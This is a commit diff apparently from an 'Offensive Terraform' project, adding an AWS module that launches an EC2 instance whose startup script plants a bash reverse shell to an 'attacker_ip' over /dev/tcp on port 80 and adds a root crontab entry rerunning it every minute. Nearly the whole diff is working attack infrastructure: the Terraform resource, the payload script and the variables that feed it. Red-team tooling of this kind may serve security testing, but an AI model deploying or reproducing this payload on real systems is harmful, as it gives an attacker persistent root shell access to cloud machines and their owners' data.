File tree Expand file tree Collapse file tree 4 files changed +52
-0
lines changed Expand file tree Collapse file tree 4 files changed +52
-0
lines changed Original file line number Diff line number Diff line change 1+ terraform {
2+ required_version = " >= 0.12"
3+ }
4+
5+ resource "aws_instance" "this" {
6+ ami = " ami-06b263d6ceff0b3dd"
7+ instance_type = " t2.micro"
8+ subnet_id = var. subnet_id
9+ user_data = data. template_file . user_data . rendered
10+ associate_public_ip_address = true
11+
12+ tags = {
13+ CreatedBy = " Offensive Terraform"
14+ }
15+ }
16+
17+ data "template_file" "user_data" {
18+ template = file (" .terraform/modules/ec2-instance-reverse-shell/payload.sh" )
19+
20+ vars = {
21+ attacker_ip = var.attacker_ip
22+ }
23+ }
Original file line number Diff line number Diff line change 1+ output "aws_instance_id" {
2+ value = aws_instance. this . * . id
3+ }
4+
5+ output "aws_instance_public_ip" {
6+ value = aws_instance. this . * . public_ip
7+ }
8+
9+ output "aws_instance_private_ip" {
10+ value = aws_instance. this . * . private_ip
11+ }
12+
13+ output "aws_instance_user_data" {
14+ value = aws_instance. this . * . user_data
15+ }
Original file line number Diff line number Diff line change 1+ #! /bin/bash
2+ echo ' #! /bin/bash' >> /hack.sh
3+ echo ' bash -i >& /dev/tcp/${attacker_ip}/80 0>&1' >> /hack.sh
4+
5+ echo ' * * * * * root bash /hack.sh' >> /etc/crontab && echo " " >> /etc/crontab
Original file line number Diff line number Diff line change 1+ variable "subnet_id" {
2+ type = string
3+ description = " The VPC Subnet ID to launch in."
4+ }
5+
6+ variable "attacker_ip" {
7+ type = string
8+ description = " The attacker IP to reverse shell from AWS EC2 instance."
9+ }
You can’t perform that action at this time.
0 commit comments